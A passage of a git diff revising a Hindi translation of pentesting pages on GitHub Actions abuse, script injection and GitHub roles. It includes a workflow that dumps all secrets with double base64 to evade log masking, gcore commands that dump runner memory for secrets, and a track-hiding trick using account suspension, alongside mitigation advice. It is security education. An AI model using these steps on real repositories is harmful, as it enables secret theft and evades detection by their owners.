+- secrets context (collaborator level) के माध्यम से सभी secrets को enumerate करें। write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है। GitHub के log masking से बचने के लिए double base64 का उपयोग करें और लोकल रूप से decode करें:
```yaml
name: Steal secrets
@@ -560,31 +558,31 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
-लोकल में decode करें:
+लोकल रूप से decode करें:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
-Tip: परीक्षण के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl GitHub-hosted runners पर पहले से इंस्टॉल होता है)।
+टिप: परीक्षण के दौरान stealth के लिए, printing से पहले encrypt करें (openssl पहले से GitHub-hosted runners पर preinstalled है)।
### Self-hosted runners का दुरुपयोग
-पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure** वह है Github Action configuration yaml में **`runs-on: self-hosted`** को search करना।
+यह पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure**, वह Github Action configuration yaml में **`runs-on: self-hosted`** को search करना है।
-**Self-hosted** runners को **extra sensitive information** तक पहुँच हो सकती है, अन्य **network systems** तक (vulnerable endpoints in the network? metadata service?) या, भले ही यह isolated हो और नष्ट कर दिया जाए, **एक से अधिक action एक साथ चल सकती हैं** और malicious one दूसरे action के **secrets** को चुरा सकती है।
+**Self-hosted** runners को **extra sensitive information**, अन्य **network systems** (नेटवर्क में vulnerable endpoints? metadata service?) तक access मिल सकता है, या, भले ही यह isolated हो और destroy कर दिया जाए, **more than one action might be run at the same time** और malicious action दूसरे का **secrets** चुरा सकता है।
-Self-hosted runners में यह भी संभव है कि आप **secrets from the \_Runner.Listener**\_\*\* process\*\* को प्राप्त कर सकें, जो किसी भी step पर workflows के सभी secrets को contain करेगा, उसके memory को dump करके:
+Self-hosted runners में मेमोरी dump करके **secrets from the \_Runner.Listener**\_\*\* process\*\* प्राप्त करना भी संभव है, यह process किसी भी step पर workflows के सभी secrets को रखेगा:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+जानकारी के लिए [**इस पोस्ट को देखें**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
-यह संभव है कि आप ऐसे Github actions बना सकें जो **Github के अंदर एक Docker image बनाकर उसे संग्रहित करें**.\
-एक उदाहरण निम्न विस्तारयोग्य अनुभाग में दिया गया है:
+यह संभव है कि Github actions बनाए जा सकें जो **Github के अंदर एक Docker image बनाकर स्टोर करें**.\\
+निम्न विस्तार योग्य सेक्शन में एक उदाहरण दिया गया है:
@@ -619,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-जैसा कि आप पिछले कोड में देख सकते हैं, Github registry होस्ट किया गया है **`ghcr.io`**.
+जैसा कि आप पिछले कोड में देख सकते हैं, Github registry **`ghcr.io`** पर होस्ट है।
-repo पर read permissions वाले उपयोगकर्ता personal access token का उपयोग करके Docker Image डाउनलोड करने में सक्षम होंगे:
+repo पर read permissions वाले एक user तब personal access token का उपयोग करके Docker Image डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-फिर, उपयोगकर्ता **leaked secrets in the Docker image layers:** की खोज कर सकता है:
+Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -634,18 +632,18 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### Github Actions logs में संवेदनशील जानकारी
-यहाँ तक कि अगर **Github** actions logs में **secret values** को **detect** करने और उन्हें **avoid showing** करने की कोशिश भी करे, तब भी action के execution में उत्पन्न हुई **other sensitive data** छुपाई नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से signed है, तब तक छिपी नहीं जाएगी जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो।
+भले ही **Github** actions लॉग्स में **detect secret values** और उन्हें **avoid showing** करने की कोशिश करे, action के निष्पादन के दौरान उत्पन्न हुई **other sensitive data** छिपायी नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से साइन किया गया है वह तब तक छिपाया नहीं जाएगा जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो।
## अपने निशान छुपाना
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह सार्वजनिक रूप से Github और target GitHub account दोनों पर स्पष्ट रूप से दिखाई देता है। GitHub में default रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को GitHub द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** कर दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** करवाना होगा। इससे GitHub पर आपकी सारी गतिविधियाँ इंटरनेट से छिप जाएंगी (basically remove all your exploit PR)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह GitHub पर और टार्गेट GitHub अकाउंट पर सार्वजनिक रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को Github द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** कराना होगा। इससे GitHub पर आपकी **hide all your activities** इंटरनेट से छिप जाएँगी (बुनियादी रूप से आपके सभी exploit PR हट जाएँगे)।
-एक organization GitHub पर अकाउंट रिपोर्ट करने में बहुत proactive रहती है। आपको बस Issue में “some stuff” शेयर करना है और वे सुनिश्चित कर देंगे कि 12 घंटे में आपका account suspended हो जाए :p और इस तरह आपका exploit GitHub पर invisible हो जाएगा।
+GitHub में एक organization अकाउंट्स को रिपोर्ट करने में बहुत proactive होती है। आपको बस Issue में "some stuff" शेयर करना होगा और वे सुनिश्चित कर देंगे कि आपका अकाउंट 12 hours में suspended हो जाए :p और बस, आपकी exploit GitHub पर invisible हो जाएगी।
> [!WARNING]
-> किसी organization के लिए यह पता लगाने का единमात्र तरीका कि उन्हें target किया गया है, GitHub logs को SIEM से चेक करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
+> किसी organization के लिए यह पता लगाने का единमात्र तरीका यह होगा कि वे SIEM से GitHub logs चेक करें क्योंकि GitHub UI से PR हटा दिया जाएगा।
-## References
+## संदर्भ
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 12a5f2849..28b2d9dc5 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -4,18 +4,18 @@
## जोखिम को समझना
-GitHub Actions expressions ${{ ... }} को step के execute होने से पहले render करता है। रेंडर किया गया मान step के प्रोग्राम में चिपकाया जाता है (run स्टेप्स के लिए, एक shell script)। अगर आप run: के अंदर सीधे अनविश्वसनीय इनपुट interpolate करते हैं, तो attacker shell प्रोग्राम के एक हिस्से को नियंत्रित कर सकता है और arbitrary commands चला सकता है।
+GitHub Actions ${{ ... }} expressions को step के execute होने से पहले render करता है। Render किया गया value step के program में paste हो जाता है (run steps के लिए, एक shell script)। यदि आप अविश्वसनीय इनपुट को सीधे run: के अंदर interpolate करते हैं, तो attacker shell program के एक हिस्से को नियंत्रित कर सकते हैं और arbitrary commands चला सकते हैं।
-Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+दस्तावेज़: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions और contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
मुख्य बिंदु:
-- Rendering निष्पादन से पहले होता है। run script सभी expressions के हल होने के साथ जनरेट किया जाता है, फिर shell द्वारा execute किया जाता है।
-- कई contexts उन फ़ील्ड्स को contain करते हैं जो triggering event (issues, PRs, comments, discussions, forks, stars, आदि) पर निर्भर करते हुए user-controlled होते हैं। untrusted input reference देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- run: के अंदर Shell quoting एक भरोसेमंद रक्षा नहीं है, क्योंकि injection template rendering चरण पर होता है। हमलावर quotes से बाहर निकल सकते हैं या crafted input के ज़रिए operators inject कर सकते हैं।
+- Rendering execution से पहले होता है। Run script तब जनरेट होता है जब सभी expressions resolve हो जाते हैं, और फिर shell द्वारा execute किया जाता है।
+- कई contexts में triggering event (issues, PRs, comments, discussions, forks, stars, आदि) पर निर्भर उपयोगकर्ता-नियंत्रित फ़ील्ड होते हैं। untrusted input reference देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- run: के अंदर shell quoting एक भरोसेमंद रक्षा नहीं है, क्योंकि injection टेम्पलेट rendering स्टेज पर होता है। Attackers quotes तोड़ सकते हैं या crafted input के ज़रिये operators inject कर सकते हैं।
## कमजोर पैटर्न → RCE on runner
-Vulnerable workflow (triggered when someone opens a new issue):
+कमजोर workflow (जब कोई नया issue खोलता है तो ट्रिगर होता है):
```yaml
name: New Issue Created
on:
@@ -36,20 +36,20 @@ with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
-यदि एक attacker एक issue खोलता है जिसका शीर्षक $(id) है, तो rendered step बन जाता है:
+यदि attacker एक issue खोलता है जिसका शीर्षक $(id) है, तो रेंडर किया गया step बन जाता है:
```sh
echo "New issue $(id) created"
```
-कमांड सब्स्टिट्यूशन runner पर id चलाता है। उदाहरण आउटपुट:
+कमांड सब्स्टिट्यूशन रनर पर id चलाता है। उदाहरण आउटपुट:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
-क्यों quoting आपकी सुरक्षा नहीं करता:
-- Expressions पहले रेंडर होते हैं, और फिर बना हुआ script चलता है। यदि अनट्रस्टेड वैल्यू में $(...), `;`, `"`/`'`, या newlines हों, तो यह आपके quoting के बावजूद प्रोग्राम की संरचना बदल सकता है।
+क्यों quoting आपकी रक्षा नहीं करता:
+- Expressions पहले render होते हैं, फिर जो स्क्रिप्ट बनती है वह चलती है। अगर अनट्रस्टेड value में $(...), `;`, `"`/`'`, या newlines हों, तो यह आपके quoting के बावजूद प्रोग्राम संरचना बदल सकता है।
## Safe pattern (shell variables via env)
-Correct mitigation: अनट्रस्टेड इनपुट को एक environment variable में कॉपी करें, फिर run script में native shell expansion ($VAR) का उपयोग करें। Command के अंदर ${{ ... }} के साथ फिर से re-embed न करें।
+सही उपाय: अनट्रस्टेड इनपुट को एक environment variable में कॉपी करें, फिर run स्क्रिप्ट में native shell expansion ($VAR) का उपयोग करें। कमांड के अंदर ${{ ... }} के साथ फिर से embed न करें।
```yaml
# safe
jobs:
@@ -63,12 +63,12 @@ run: |
echo "New issue $TITLE created"
```
नोट्स:
-- Avoid using ${{ env.TITLE }} inside run:. यह कमांड में फिर से template rendering वापस ला देता है और वही injection जोखिम पैदा करता है।
-- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+- run: के अंदर ${{ env.TITLE }} का उपयोग करने से बचें। इससे कमांड में फिर से template rendering हो जाता है और वही इंजेक्शन जोखिम लौट आता है।
+- untrusted inputs को env: mapping के माध्यम से पास करना बेहतर है और run: में उन्हें $VAR से संदर्भित करें।
-## रीडर-ट्रिगर करने योग्य सतहें (अनविश्वसनीय मानें)
+## रीडर-ट्रिगर सतहें (untrusted मानें)
-केवल read permission वाले खाते भी public repositories पर कई इवेंट्स ट्रिगर कर सकते हैं। इन इवेंट्स से उत्पन्न contexts के किसी भी फ़ील्ड को हम तब तक attacker-controlled मानें जब तक कि इसके विपरीत साबित न हो। उदाहरण:
+केवल read permission वाले खाते भी public repositories पर कई events ट्रिगर कर सकते हैं। इन events से निकले contexts के किसी भी field को attacker-controlled माना जाना चाहिए जब तक कि इसके विपरीत साबित न हो। उदाहरण:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
@@ -77,14 +77,14 @@ echo "New issue $TITLE created"
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
-कौन से विशिष्ट फ़ील्ड attacker-controlled हैं यह इवेंट-विशिष्ट होता है। GitHub Security Lab’s untrusted input guide देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
+कौन से विशिष्ट फील्ड attacker-controlled हैं यह event-specific होता है। GitHub Security Lab की untrusted input guide देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
-## व्यवहारिक टिप्स
+## व्यावहारिक सुझाव
-- run: के अंदर expressions का उपयोग न्यूनतम रखें। env: मैपिंग + $VAR को प्राथमिकता दें।
-- यदि आपको input को transform करना ही है, तो इसे shell में सुरक्षित टूल्स (printf %q, jq -r, आदि) का उपयोग करके करें, और फिर भी एक shell variable से शुरू करें।
-- branch names, PR titles, usernames, labels, discussion titles, और PR head refs को scripts, command-line flags, या file paths में interpolate करते समय विशेष सावधानी बरतें।
-- reusable workflows और composite actions के लिए भी वही पैटर्न लागू करें: env में map करें फिर $VAR से संदर्भित करें।
+- run: के अंदर expressions के उपयोग को न्यूनतम करें। env: mapping + $VAR को प्राथमिकता दें।
+- यदि आपको इनपुट को transform करना ही हो, तो shell में सुरक्षित टूल्स का उपयोग करें (printf %q, jq -r, आदि), फिर भी shell variable से शुरू करें।
+- जब branch names, PR titles, usernames, labels, discussion titles, और PR head refs को scripts, command-line flags, या file paths में interpolate करें तो विशेष सावधानी बरतें।
+- reusable workflows और composite actions के लिए भी वही पैटर्न लागू करें: पहले env में map करें फिर $VAR से reference करें।
## संदर्भ
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index abd8f14d5..82ce6bbd5 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,80 +4,80 @@
## बुनियादी संरचना
-एक बड़ी **कंपनी** के github पर्यावरण की बुनियादी संरचना यह होती है कि वह एक **enterprise** की मालिक होती है जो कई **organizations** की मालिक होती है और प्रत्येक में **कई repositories** और **कई teams** हो सकते हैं। छोटी कंपनियाँ सिर्फ़ **एक organization की मालिक और कोई enterprise नहीं** भी हो सकती हैं।
+एक बड़े **company** के लिए बुनियादी github वातावरण की संरचना यह है कि उसके पास एक **enterprise** होता है जो कई **organizations** का मालिक होता है और हर एक में कई **repositories** और कई **teams** हो सकते हैं। छोटी कंपनियों के पास केवल **एक organization और कोई enterprise नहीं** भी हो सकता है।
-यूज़र की नज़र से एक **user** विभिन्न **enterprises और organizations** का **member** हो सकता है। इनके भीतर उपयोगकर्ता के पास अलग-अलग **enterprise, organization और repository roles** हो सकते हैं।
+किसी user के दृष्टिकोण से एक **user** अलग-अलग **enterprises और organizations** का **member** हो सकता है। इनके भीतर user के पास **विभिन्न enterprise, organization और repository रोल्स** हो सकते हैं।
-इसके अलावा, एक उपयोगकर्ता अलग-अलग टीमों का **part** हो सकता है जिनमें अलग-अलग enterprise, organization या repository roles हो सकते हैं।
+इसके अलावा, एक user अलग-अलग **teams** का हिस्सा हो सकता है जिनमें अलग-अलग enterprise, organization या repository रोल्स होते हैं।
-और अंततः **repositories में विशेष protection mechanisms हो सकते हैं।**
+और अंत में **repositories में विशेष protection mechanisms हो सकते हैं।**
## Privileges
### Enterprise Roles
-- **Enterprise owner**: इस भूमिका वाले लोग **administrators को manage कर सकते हैं, enterprise के भीतर organizations को manage कर सकते हैं, enterprise settings को manage कर सकते हैं, और organizations पर policy लागू कर सकते हैं**। हालांकि, वे **organization settings या content तक पहुँच नहीं रख सकते** जब तक उन्हें organization owner न बनाया जाए या किसी organization-owned repository का direct access न दिया जाए।
-- **Enterprise members**: आपके enterprise के द्वारा owned organizations के members भी **स्वतः enterprise के members** होते हैं।
+- **Enterprise owner**: इस रोल वाले लोग **administrators को manage कर सकते हैं, enterprise के भीतर organizations को manage कर सकते हैं, enterprise settings को manage कर सकते हैं, और organizations पर policy लागू कर सकते हैं।** हालांकि, वे **organization settings या content तक पहुँच नहीं बना सकते** जब तक उन्हें organization owner बनाया न गया हो या सीधे organization-owned repository का access न दिया गया हो।
+- **Enterprise members**: आपके enterprise द्वारा owned organizations के members स्वचालित रूप से **enterprise के members** भी होते हैं।
### Organization Roles
-एक organisation में users के अलग-अलग roles हो सकते हैं:
+एक organisation में users के अलग-अलग रोल हो सकते हैं:
-- **Organization owners**: Organization owners के पास **आपके organization पर पूर्ण administrative access** होता है। इस भूमिका को सीमित रखना चाहिए, पर आपके organization में कम से कम दो लोगों से कम नहीं होनी चाहिए।
-- **Organization members**: **default**, गैर-प्रशासनिक भूमिका के रूप में **organization में लोगों** के लिए organization member होती है। डिफ़ॉल्ट रूप से, organization members के पास **कई permissions** होते हैं।
-- **Billing managers**: Billing managers वे users होते हैं जो आपकी organization के लिए **billing settings को manage कर सकते हैं**, जैसे payment information।
-- **Security Managers**: यह एक भूमिका है जिसे organization owners किसी भी टीम को असाइन कर सकते हैं। लागू होने पर, यह टीम के हर सदस्य को संगठन भर में **security alerts और settings को manage करने की अनुमति**, साथ ही संगठन के सभी repositories के लिए read permissions देता है।
-- यदि आपकी organization में एक security team है, तो आप security manager role का उपयोग टीम के सदस्यों को संगठन तक न्यूनतम आवश्यक पहुँच देने के लिए कर सकते हैं।
-- **Github App managers**: अतिरिक्त users को **GitHub Apps (जो organization के द्वारा owned हों) को manage करने की अनुमति देने के लिए**, एक owner उन्हें GitHub App manager permissions दे सकता है।
-- **Outside collaborators**: एक outside collaborator वह व्यक्ति होता है जिसके पास **एक या अधिक organization repositories तक access है पर वह organization का explicitly member नहीं है**।
+- **Organization owners**: Organization owners के पास **आपकी organization पर पूर्ण administrative access** होता है। यह रोल सीमित रखा जाना चाहिए, लेकिन आपकी organization में कम से कम दो लोगों से कम नहीं होना चाहिए।
+- **Organization members**: organization में लोगों के लिए डिफ़ॉल्ट, non-administrative रोल organization member है। डिफ़ॉल्ट के रूप में, organization members **कई permissions** रखते हैं।
+- **Billing managers**: Billing managers वे users होते हैं जो आपकी organization के billing settings, जैसे payment information, **manage कर सकते हैं**।
+- **Security Managers**: यह एक रोल है जिसे organization owners किसी भी टीम को दे सकते हैं। लागू होने पर, यह टीम के हर सदस्य को **organization भर में security alerts और settings manage करने की permissions देता है, साथ ही organization के सभी repositories के लिए read permissions** देता है।
+- यदि आपकी organization में एक security team है, तो आप security manager रोल का उपयोग टीम के सदस्यों को organization तक न्यूनतम आवश्यक access देने के लिए कर सकते हैं।
+- **Github App managers**: किसी organization द्वारा owned GitHub Apps को अतिरिक्त users को **manage करने के लिए** अनुमति देने के लिए, एक owner उन्हें GitHub App manager permissions दे सकता है।
+- **Outside collaborators**: Outside collaborator वह व्यक्ति होता है जिसे **एक या अधिक organization repositories तक पहुँचन है पर वह organization का स्पष्ट रूप से member नहीं है।**
-आप इन roles के permissions **इस तालिका में तुलना** कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+आप इन रोल्स की permissions की तुलना इस तालिका में कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
-_in_ https://github.com/organizations/\/settings/member_privileges आप देख सकते हैं कि **organisation का भाग होने के नाते users को किन permissions का अधिकार मिलेगा**।
+_in_ https://github.com/organizations/\/settings/member_privileges आप देख सकते हैं कि **organization का हिस्सा होने के नाते users को कौन-कौन सी permissions मिलेंगी**।
-यहाँ जो settings configure की गई हैं वे organization के सदस्यों के निम्नलिखित permissions को निर्दिष्ट करेंगी:
+यहाँ configured settings organization के members की निम्नलिखित permissions को संकेत करेंगी:
-- सभी organization repos पर admin, writer, reader या कोई permission नहीं होना।
+- organization के सभी repos पर admin, writer, reader या कोई permission नहीं होना।
- क्या members private, internal या public repositories बना सकते हैं।
- क्या repositories का forking संभव है।
- क्या outside collaborators को invite करना संभव है।
-- क्या public या private sites publish किए जा सकते हैं।
-- repositories पर admins के permissions।
+- क्या public या private sites publish की जा सकती हैं।
+- repositories पर admins के पास क्या permissions हैं।
- क्या members नई teams बना सकते हैं।
### Repository Roles
-डिफ़ॉल्ट रूप से repository roles बनाए जाते हैं:
+डिफ़ॉल्ट रूप से repository रोल्स बनाये जाते हैं:
-- **Read**: उन **non-code contributors** के लिए सिफारिश की जाती है जो आपके प्रोजेक्ट को देखना या उस पर चर्चा करना चाहते हैं।
-- **Triage**: उन **contributors के लिए सिफारिश की जाती है जिन्हें issues और pull requests को proactively manage करने की आवश्यकता है** बिना write access के।
-- **Write**: उन contributors के लिए सिफारिश की जाती है जो **सक्रिय रूप से आपके प्रोजेक्ट में push** करते हैं।
-- **Maintain**: उन **project managers के लिए सिफारिश की जाती है जिन्हें repository manage करनी है** बिना sensitive या destructive actions के एक्सेस के।
-- **Admin**: उन लोगों के लिए सिफारिश की जाती है जिन्हें प्रोजेक्ट पर **पूर्ण एक्सेस** चाहिए, जिसमें sensitive और destructive actions जैसे security manage करना या repository delete करना शामिल हैं।
+- **Read**: उन **non-code contributors** के लिए अनुशंसित जो आपका प्रोजेक्ट देखना या उस पर चर्चा करना चाहते हैं।
+- **Triage**: उन contributors के लिए अनुशंसित जो issues और pull requests को proactively manage करने की ज़रूरत रखते हैं बिना write access के।
+- **Write**: उन contributors के लिए अनुशंसित जो **actively आपके प्रोजेक्ट में push करते हैं**।
+- **Maintain**: उन project managers के लिए अनुशंसित जो repository को manage करने की ज़रूरत रखते हैं बिना संवेदनशील या destructive क्रियाओं के access के।
+- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें प्रोजेक्ट पर **पूर्ण access** चाहिए, जिसमें security manage करना या repository delete करना जैसी संवेदनशील और destructive क्रियाएँ शामिल हैं।
-आप प्रत्येक role के permissions **इस तालिका में तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+आप प्रत्येक रोल की permissions की तुलना इस तालिका में कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-आप अपने खुद के roles भी _https://github.com/organizations/\/settings/roles_ में बना सकते हैं।
+आप अपने खुद के roles भी बना सकते हैं _https://github.com/organizations/\/settings/roles_
### Teams
-आप किसी organization में बनाए गए teams की **सूची** _https://github.com/orgs/\/teams_ में देख सकते हैं। ध्यान दें कि किसी parent team के children teams देखने के लिए आपको प्रत्येक parent team तक पहुँचना होगा।
+आप किसी organization में बनाए गए teams की सूची _https://github.com/orgs/\/teams_ पर देख सकते हैं। ध्यान दें कि किसी team के child teams देखने के लिए आपको प्रत्येक parent team तक पहुँचना होगा।
### Users
-Organization के users को **list** किया जा सकता है _https://github.com/orgs/\/people_ में।
+Organization के users _https://github.com/orgs/\/people_ में **listed** हो सकते हैं।
-प्रत्येक user की जानकारी में आप देख सकते हैं कि उपयोगकर्ता किन **teams का सदस्य** है, और किन **repos तक उपयोगकर्ता की पहुँच** है।
+प्रत्येक user की जानकारी में आप देख सकते हैं कि user किस **teams** का member है, और user को कौन-कौन से **repos** का access है।
## Github Authentication
-Github आपके account में authenticate करने और आपकी ओर से actions perform करने के लिए विभिन्न तरीके प्रदान करता है।
+Github आपके account में authenticate करने और आपकी ओर से actions perform करने के विभिन्न तरीके ऑफर करता है।
### Web Access
-**github.com** पर पहुँचकर आप अपने **username और password** (और संभवतः **2FA**) का उपयोग करके login कर सकते हैं।
+**github.com** तक पहुँच कर आप अपने **username और password** (और संभावित रूप से **2FA**) का उपयोग करके login कर सकते हैं।
### **SSH Keys**
@@ -85,72 +85,71 @@ Github आपके account में authenticate करने और आपक
#### **GPG Keys**
-आप इन keys से user को impersonate नहीं कर सकते लेकिन यदि आप इसका उपयोग नहीं करते हैं तो संभव है कि आपको **commits बिना signature के भेजने पर खोजा जा सके**। यहां [vigilant mode](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) के बारे में और जानें।
+आप इन keys से user का impersonate नहीं कर सकते लेकिन अगर आप इसे उपयोग नहीं करते हैं तो ऐसा हो सकता है कि आप **commits बिना signature के भेजने पर पता चल जाएं**। इसके बारे में और जानने के लिए [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) देखें।
### **Personal Access Tokens**
-आप एक application को आपके account तक access देने के लिए personal access token generate कर सकते हैं। Personal access token बनाते समय **user** को यह **निर्दिष्ट** करना होता है कि token के पास कौन-कौन सी **permissions** होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
+आप personal access token generate कर सकते हैं ताकि कोई application **आपके account तक access पा सके**। Personal access token बनाते समय **user** को यह **निर्धारित** करना होता है कि token को कौन-कौन से **permissions** मिलेंगे। [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
-Oauth applications आपसे permissions माँग सकते हैं **आपकी कुछ github जानकारी तक पहुँचने या आपकी नुमाइंदगी करने के लिए** ताकि कुछ actions perform किए जा सकें। इस functionality का सामान्य उदाहरण वह **login with github button** है जो आप कुछ platforms पर पा सकते हैं।
+Oauth applications आपसे permissions माँग सकते हैं **आपकी कुछ github जानकारी तक पहुँचने के लिए या आपकी नकल कर कुछ actions करने के लिए**। इसका एक सामान्य उदाहरण वह **login with github button** है जो आप कुछ platforms में देख सकते हैं।
-- आप अपने खुद के **Oauth applications** बना सकते हैं [https://github.com/settings/developers](https://github.com/settings/developers)
-- आप अपनी account तक access रखने वाले सभी **Oauth applications** को देख सकते हैं [https://github.com/settings/applications](https://github.com/settings/applications)
-- आप देख सकते हैं कि **Oauth Apps किन scopes के लिए माँग कर सकते हैं** [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- आप एक **organization** में third party applications की access नीति को _https://github.com/organizations/\/settings/oauth_application_policy_ में देख सकते हैं।
+- आप अपने खुद के **Oauth applications** यहाँ बना सकते हैं: [https://github.com/settings/developers](https://github.com/settings/developers)
+- आप अपने account तक access रखने वाले सभी **Oauth applications** यहाँ देख सकते हैं: [https://github.com/settings/applications](https://github.com/settings/applications)
+- आप देख सकते हैं कि **Oauth Apps किन scopes के लिए अनुरोध कर सकते हैं**: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- आप किसी **organization** में third party applications का access _https://github.com/organizations/\/settings/oauth_application_policy_ पर देख सकते हैं।
कुछ **security recommendations**:
-- एक **OAuth App** को हमेशा **authenticated GitHub user के रूप में GitHub भर में act करना चाहिए** (उदाहरण के लिए, user notifications प्रदान करते समय) और केवल निर्दिष्ट scopes तक ही access होना चाहिए।
-- एक OAuth App को authenticated user के लिए "Login with GitHub" सक्षम करके identity provider के रूप में उपयोग किया जा सकता है।
-- **Don't** build an **OAuth App** अगर आप चाहते हैं कि आपका application केवल **single repository** पर act करे। With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- एक **OAuth App** को हमेशा **authenticated GitHub user के रूप में GitHub पर काम करना चाहिए** (उदा., user notifications प्रदान करते समय) और केवल निर्दिष्ट scopes तक ही access होना चाहिए।
+- OAuth App को authenticated user के लिए "Login with GitHub" को सक्षम करके identity provider के रूप में उपयोग किया जा सकता है।
+- **Don't** एक **OAuth App** बनाएं यदि आप चाहते हैं कि आपका application केवल **single repository** पर काम करे। `repo` OAuth scope के साथ, OAuth Apps authenticated user के सभी repositories पर काम कर सकते हैं।
+- **Don't** OAuth App बनाएं जो आपकी **team या company** के लिए application के रूप में काम करे। OAuth Apps एक single user के रूप में authenticate करते हैं, इसलिए अगर किसी व्यक्ति ने company के लिए OAuth App बनाया और फिर वह व्यक्ति कंपनी छोड़ देता है, तो किसी और के पास उसका access नहीं रहेगा।
